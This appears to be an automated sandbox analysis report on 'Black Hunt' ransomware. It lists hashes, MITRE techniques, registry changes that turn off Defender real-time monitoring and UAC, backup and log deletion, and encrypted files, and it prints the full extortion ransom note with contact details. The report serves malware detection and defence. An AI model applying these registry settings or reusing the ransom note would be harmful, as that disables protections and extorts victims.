fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164

Analysis

max time kernel
149s
max time network
152s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
19/01/2024, 01:31

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General

Target

fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
Size

707KB
MD5

3a05d0d1dd666062d9f90d68cb72149e
SHA1

300095ce8f943c4b102c37eba712a286d6252f89
SHA256

fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164
SHA512

d1526eec9480f737ee1b853225c42bf4b0a2651f9f551a10319e16574ae9157979ebd3d020e496e08b3073786485575c55ac22dc59ef85be046bdddedec43fd8
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza1/8yvnh:6uaTmkZJ+naie5OTamgEoKxLWech

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> jcLL7mP5lwFc4ajD </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
1664	fsutil.exe
3704	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
3500	wevtutil.exe
2896	wevtutil.exe
3388	wevtutil.exe
3536	wevtutil.exe
3128	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
2688	bcdedit.exe
2816	bcdedit.exe
3772	bcdedit.exe
3184	bcdedit.exe

Renames multiple (2862) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
2944	wbadmin.exe
3524	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Deletes itself 1 IoCs

pid	Process
3192	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\B:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\I:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\O:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\T:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\G:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\W:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\M:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\Y:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\S:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\R:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\A:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\Z:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\U:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\E:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\J:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\K:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\X:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\N:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\Q:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\H:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\L:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\V:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened (read-only)	\??\P:	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.alert.zh_CN_5.5.0.165303.jar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\lib\jfluid-server-15.jar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\locale\as_IN\#BlackHunt_Private.key	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\LC_MESSAGES\#BlackHunt_ReadMe.txt	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Europe\Gibraltar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+3	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.director.app.nl_zh_4.4.0.v20140623020002.jar	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ms\LC_MESSAGES\#BlackHunt_ReadMe.txt	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\win\CP1251.TXT	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\DVD Maker\Shared\DvdStyles\Performance\#BlackHunt_ReadMe.hta	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Push\push.png	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Jayapura	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\America\Toronto	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Asia\Aqtobe	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Search.api	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\info.gif	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\OldAge\vintage.png	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\#BlackHunt_ReadMe.txt	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\LC_MESSAGES\#BlackHunt_Private.key	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\#BlackHunt_ReadMe.hta	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Pontianak	fd2ef65a441828e99e7f04a4f89e09bae1be64a38fd21deb1f0ce37a4bacf164.exe
